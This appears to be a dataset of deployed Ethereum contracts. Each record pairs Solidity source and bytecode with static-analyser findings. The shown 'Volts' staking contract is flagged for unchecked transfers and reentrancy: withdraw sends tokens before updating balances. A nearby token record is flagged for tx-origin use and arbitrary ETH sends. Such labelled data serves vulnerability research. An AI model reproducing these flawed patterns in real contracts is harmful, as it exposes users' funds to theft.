0b01b900460ff165b8015610f255750600081115b15610f4557610f3381611150565b478015610f4357610f43476110b6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8957506001600160a01b03831660009081526005602052604090205460ff165b15610f92575060005b610f9e84848484611337565b6000601054118015610fb557506011546010540143105b8015610fda5750610fc461065c565b6001600160a01b0316326001600160a01b031614155b15611019576001600160a01b0383166000908152600e602052604090205460ff1680156110105750600f5461100e84610579565b105b61101957600080fd5b50505050565b600081848411156110ae5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107357818101518382015260200161105b565b50505050905090810190601f1680156110a05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c4f573d6000803e3d6000fd5b60006006548211156111335760405162461bcd60e51b815260040180806020018281038252602a81526020018061181d602a913960400191505060405180910390fd5b600061113d61135c565b9050611149838261137f565b9392505050565b600d805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061119157fe5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111e557600080fd5b505afa1580156111f9573d6000803e3d6000fd5b505050506040513d602081101561120f57600080fd5b505181518290600190811061122057fe5b6001600160a01b039283166020918202929092010152600c546112469130911684610c57565b600c546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156112e55781810151838201526020016112cd565b505050509050019650505050505050600060405180830381600087803b15801561130e57600080fd5b505af1158015611322573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b80611344576113446113c1565b61134f8484846113e8565b80611019576110196114dd565b60008060006113696114e9565b9092509050611378828261137f565b9250505090565b600061114983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152e565b6008541580156113d15750600954155b156113db576113e6565b600060088190556009555b565b6000806000806000806113fa87611593565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061142c90876115f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145b9086611632565b6001600160a01b03891660009081526002602052604090205561147d8161168c565b61148784836116d6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000600855600a600955565b6006546000908190683635c9adc5dea00000611505828261137f565b82101561152457600654683635c9adc5dea0000093509350505061152a565b90925090505b9091565b6000818361157d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561107357818101518382015260200161105b565b50600083858161158957fe5b0495945050505050565b60008060008060008060008060006115b08a6008546009546116fa565b92509250925060006115c061135c565b905060008060006115d38e878787611750565b919e509c509a509598509396509194505050505091939550919395565b600061114983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061101f565b600082820183811015611149576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061169661135c565b905060006116a483836117a0565b306000908152600260205260409020549091506116c19082611632565b30600090815260026020526040902055505050565b6006546116e390836115f0565b6006556007546116f39082611632565b6007555050565b600080808061171561271061170f89896117a0565b9061137f565b90506000611728606461170f8a896117a0565b905060006117408261173a8b866115f0565b906115f0565b9992985090965090945050505050565b600080808061175f88866117a0565b9050600061176d88876117a0565b9050600061177b88886117a0565b9050600061178d8261173a86866115f0565b939b939a50919850919650505050505050565b6000826117af575060006104a6565b828202828482816117bc57fe5b04146111495760405162461bcd60e51b81526004018080602001828103825260218152602001806118696021913960400191505060405180910390fdfe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209180f4af62d9216a5088f5410f9433c604f9fb725cb8eab3e1e812d0bcae369364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,033 |
0xe203639d78533c831b98390f34c78a46660abc2a
|
/*
website: volts.finance
______ __
/ \ / |
/$$$$$$ |$$ |____ _____ ____ _______
$$ | $$ |$$ \ / \/ \ / |
$$ | $$ |$$$$$$$ |$$$$$$ $$$$ |/$$$$$$$/
$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ \
$$ \__$$ |$$ | $$ |$$ | $$ | $$ | $$$$$$ |
$$ $$/ $$ | $$ |$$ | $$ | $$ |/ $$/
$$$$$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$$/
Volts single staking contract of the volts-Ecosystem
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface VOLTS {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnRate() external view returns (uint256);
}
interface OHMS {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256);
function tokenFromReflection(uint256 rAmount) external view returns(uint256);
}
contract Staking is Ownable {
struct User {
uint256 depositAmount;
uint256 paidReflection;
}
using SafeMath for uint256;
mapping (address => User) public users;
uint256 public reflectionTillNowPerToken = 0;
uint256 public lastUpdatedBlock;
uint256 public rewardPerBlock;
uint256 public totalOhmsReward = 0;
VOLTS public volts;
OHMS public ohms;
event Deposit(address user, uint256 amount);
event Withdraw(address user, uint256 amount);
event EmergencyWithdraw(address user, uint256 amount);
event RewardClaimed(address user, uint256 amount);
event RewardPerBlockChanged(uint256 oldValue, uint256 newValue);
constructor (address _VOLTS, address _OHMS, uint256 _rewardPerBlock) public {
volts = VOLTS(_VOLTS);
ohms = OHMS(_OHMS);
rewardPerBlock = _rewardPerBlock;
lastUpdatedBlock = block.number;
}
// Returns the amount of OHMS rewarded to stakers per block
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
update();
emit RewardPerBlockChanged(rewardPerBlock, _rewardPerBlock);
rewardPerBlock = _rewardPerBlock;
}
// Returns the amount of OHMS rewarded to stakers per block
function getRewardPerBlock() external view returns (uint256){
return rewardPerBlock;
}
// View function to see users staked balance on frontend.
function getUserDepositAmount(address _user) external view returns (uint256){
User storage user = users [_user];
return user.depositAmount;
}
// View function to see the amount staked in the contract in OHMS.
function getTotalStaked() external view returns (uint256){
return volts.balanceOf(address(this));
}
// View function to get the remaining reward balance in the contract in OHMS.
function getTotalRemainingReward() external view returns (uint256){
return ohms.balanceOf(address(this));
}
// Update reward variables of the pool to be up-to-date.
function update() public {
if (block.number <= lastUpdatedBlock) {
return;
}
uint256 totalvolts;
if(volts.balanceOf(address(this)) > 0){
totalvolts = volts.balanceOf(address(this));
}
else{
totalvolts = 1;
}
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
totalOhmsReward = totalOhmsReward.add(rewardAmount);
uint256 reflectionRewardAmount = ohms.reflectionFromToken(rewardAmount, false).div(1000);
reflectionTillNowPerToken = reflectionTillNowPerToken.add(reflectionRewardAmount.div(totalvolts));
lastUpdatedBlock = block.number;
}
// View function to see pending reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
User storage user = users[_user];
uint256 accReflectionPerToken = reflectionTillNowPerToken;
uint256 totalvolts;
if(volts.balanceOf(address(this)) > 0){
totalvolts = volts.balanceOf(address(this));
}
else{
totalvolts = 1;
}
if (block.number > lastUpdatedBlock) {
uint256 rewardAmount = ((block.number - lastUpdatedBlock).mul(rewardPerBlock));
uint256 reflectionReward = ohms.reflectionFromToken(rewardAmount,false).div(1000);
accReflectionPerToken = accReflectionPerToken.add(reflectionReward.div(totalvolts));
}
return ohms.tokenFromReflection((user.depositAmount.mul(accReflectionPerToken).sub(user.paidReflection)).mul(1000));
}
function deposit(uint256 amount) public {
User storage user = users[msg.sender];
update();
if (user.depositAmount > 0) {
uint256 _pendingReflection = (user.depositAmount.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(_ohmsReward > 0){
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
}
uint256 burnRate = volts.burnRate();
uint256 amountBurned = amount.mul(burnRate).div(100);
uint256 amountDeposited = amount.sub(amountBurned);
volts.transferFrom(address(msg.sender), address(this), amount);
emit Deposit(msg.sender, amount);
user.depositAmount = user.depositAmount.add(amountDeposited);
user.paidReflection = user.depositAmount.mul(reflectionTillNowPerToken);
}
function withdraw(uint256 amount) public {
User storage user = users[msg.sender];
require(user.depositAmount >= amount, "withdraw amount exceeds deposited amount");
update();
uint256 _pendingReflection = (user.depositAmount.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(_ohmsReward > 0){
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
volts.transfer(address(msg.sender), amount);
emit Withdraw(msg.sender, amount);
user.depositAmount = user.depositAmount.sub(amount);
user.paidReflection = user.depositAmount.mul(reflectionTillNowPerToken);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
User storage user = users[msg.sender];
volts.transfer(address(msg.sender), user.depositAmount);
emit EmergencyWithdraw(msg.sender, user.depositAmount);
user.depositAmount = 0;
user.paidReflection = 0;
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063a87430ba116100ad578063e25403a711610071578063e25403a71461026d578063e334924a14610275578063f2fde38b1461027d578063f40f0f52146102a3578063f90ce5ba146102c95761012c565b8063a87430ba146101e4578063b6b55f2514610223578063bb872b4a14610240578063d6fbfd1c1461025d578063db2e21bc146102655761012c565b8063715018a6116100f4578063715018a6146101bc5780638ae39cac146101c45780638da5cb5b146101cc5780638e968a0b146101d4578063a2e62045146101dc5761012c565b80630917e776146101315780630cec2a761461014b578063217b50ec146101715780632e1a7d4d1461019557806349df8d33146101b4575b600080fd5b6101396102d1565b60408051918252519081900360200190f35b6101396004803603602081101561016157600080fd5b50356001600160a01b031661034d565b610179610368565b604080516001600160a01b039092168252519081900360200190f35b6101b2600480360360208110156101ab57600080fd5b5035610377565b005b61013961062a565b6101b2610630565b6101396106e4565b6101796106ea565b6101396106f9565b6101b2610744565b61020a600480360360208110156101fa57600080fd5b50356001600160a01b0316610939565b6040805192835260208301919091528051918290030190f35b6101b26004803603602081101561023957600080fd5b5035610952565b6101b26004803603602081101561025657600080fd5b5035610c65565b610179610d19565b6101b2610d28565b610139610e04565b610139610e0a565b6101b26004803603602081101561029357600080fd5b50356001600160a01b0316610e10565b610139600480360360208110156102b957600080fd5b50356001600160a01b0316610f1a565b610139611172565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561031c57600080fd5b505afa158015610330573d6000803e3d6000fd5b505050506040513d602081101561034657600080fd5b5051905090565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b031681565b33600090815260016020526040902080548211156103c65760405162461bcd60e51b81526004018080602001828103825260288152602001806113b96028913960400191505060405180910390fd5b6103ce610744565b60006104036103e86103fd84600101546103f7600254876000015461117890919063ffffffff16565b906111da565b90611178565b60075460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b15801561045557600080fd5b505afa158015610469573d6000803e3d6000fd5b505050506040513d602081101561047f57600080fd5b505190508015610545576007546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156104dd57600080fd5b505af11580156104f1573d6000803e3d6000fd5b505050506040513d602081101561050757600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b6006546040805163a9059cbb60e01b81523360048201526024810187905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561059957600080fd5b505af11580156105ad573d6000803e3d6000fd5b505050506040513d60208110156105c357600080fd5b5050604080513381526020810186905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a1825461060c90856111da565b80845560025461061c9190611178565b836001018190555050505050565b60045490565b61063861121c565b6000546001600160a01b0390811691161461069a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60045481565b6000546001600160a01b031690565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561031c57600080fd5b600354431161075257610937565b600654604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d60208110156107cc57600080fd5b5051111561085257600654604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561081f57600080fd5b505afa158015610833573d6000803e3d6000fd5b505050506040513d602081101561084957600080fd5b50519050610856565b5060015b6000610871600454600354430361117890919063ffffffff16565b6005549091506108819082611220565b60055560075460408051634549b03960e01b81526004810184905260006024820181905291519192610914926103e8926001600160a01b0390921691634549b039916044808301926020929190829003018186803b1580156108e257600080fd5b505afa1580156108f6573d6000803e3d6000fd5b505050506040513d602081101561090c57600080fd5b50519061127a565b905061092c610923828561127a565b60025490611220565b600255505043600355505b565b6001602081905260009182526040909120805491015482565b336000908152600160205260409020610969610744565b805415610ade5760006109996103e86103fd84600101546103f7600254876000015461117890919063ffffffff16565b60075460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b1580156109eb57600080fd5b505afa1580156109ff573d6000803e3d6000fd5b505050506040513d6020811015610a1557600080fd5b505190508015610adb576007546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610a7357600080fd5b505af1158015610a87573d6000803e3d6000fd5b505050506040513d6020811015610a9d57600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b50505b60065460408051630bed998560e41b815290516000926001600160a01b03169163bed99850916004808301926020929190829003018186803b158015610b2357600080fd5b505afa158015610b37573d6000803e3d6000fd5b505050506040513d6020811015610b4d57600080fd5b505190506000610b686064610b628685611178565b9061127a565b90506000610b7685836111da565b600654604080516323b872dd60e01b81523360048201523060248201526044810189905290519293506001600160a01b03909116916323b872dd916064808201926020929091908290030181600087803b158015610bd357600080fd5b505af1158015610be7573d6000803e3d6000fd5b505050506040513d6020811015610bfd57600080fd5b5050604080513381526020810187905281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a18354610c469082611220565b808555600254610c569190611178565b84600101819055505050505050565b610c6d61121c565b6000546001600160a01b03908116911614610ccf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610cd7610744565b600454604080519182526020820183905280517f79a5349732f93288abbb68e251c3dfc325bf3ee6fde7786d919155d39733e0f59281900390910190a1600455565b6006546001600160a01b031681565b3360008181526001602090815260408083206006548154835163a9059cbb60e01b815260048101979097526024870152915190946001600160a01b039092169363a9059cbb93604480850194919392918390030190829087803b158015610d8e57600080fd5b505af1158015610da2573d6000803e3d6000fd5b505050506040513d6020811015610db857600080fd5b5050805460408051338152602081019290925280517f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd96959281900390910190a16000808255600190910155565b60025481565b60055481565b610e1861121c565b6000546001600160a01b03908116911614610e7a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610ebf5760405162461bcd60e51b81526004018080602001828103825260268152602001806113e16026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808216600090815260016020908152604080832060025460065483516370a0823160e01b815230600482015293519596929591948794859492909216926370a08231926024808201939291829003018186803b158015610f8157600080fd5b505afa158015610f95573d6000803e3d6000fd5b505050506040513d6020811015610fab57600080fd5b5051111561103157600654604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610ffe57600080fd5b505afa158015611012573d6000803e3d6000fd5b505050506040513d602081101561102857600080fd5b50519050611035565b5060015b6003544311156110d757600061105a600454600354430361117890919063ffffffff16565b60075460408051634549b03960e01b815260048101849052600060248201819052915193945090926110bc926103e8926001600160a01b0390911691634549b03991604480820192602092909190829003018186803b1580156108e257600080fd5b90506110d26110cb828561127a565b8590611220565b935050505b600754600184015484546001600160a01b0390921691632d83811991611109916103e8916103fd916103f79089611178565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d602081101561116757600080fd5b505195945050505050565b60035481565b600082611187575060006111d4565b8282028284828161119457fe5b04146111d15760405162461bcd60e51b81526004018080602001828103825260218152602001806114076021913960400191505060405180910390fd5b90505b92915050565b60006111d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bc565b3390565b6000828201838110156111d1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006111d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611353565b6000818484111561134b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113105781810151838201526020016112f8565b50505050905090810190601f16801561133d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113a25760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113105781810151838201526020016112f8565b5060008385816113ae57fe5b049594505050505056fe776974686472617720616d6f756e742065786365656473206465706f736974656420616d6f756e744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204fa8664ec6976064e640bda2916dab622003149127fd67dbc5c7d585b280e83964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,034 |
0xc41797d0e9299053d6f5cebd7cba48de97096383
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
